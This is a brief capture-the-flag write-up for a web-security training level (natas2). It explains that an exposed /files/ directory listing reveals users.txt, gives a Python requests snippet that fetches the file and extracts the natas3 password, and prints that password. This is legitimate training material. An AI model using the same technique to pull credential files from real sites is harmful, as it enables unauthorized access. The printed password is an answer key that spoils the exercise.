Description

The HTML source references an image in /files/. The web server has directory listing enabled for that path, revealing a users.txt file that contains the natas3 password.

Overview

• An <img> tag with src="/files/pixel.png" hints at the /files/ directory.
• Directory listing allows browsing the directory contents like a file manager.
• users.txt is a plaintext file listing usernames and passwords.

Solution

response = requests.get(url + "/files/", auth=("natas2", current_password))
# parse directory listing to find users.txt
users = requests.get(url + "/files/users.txt", auth=("natas2", current_password))
# parse natas3 line
result = [l.split(":")[1] for l in users.text.splitlines() if "natas3" in l][0]

Password

G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q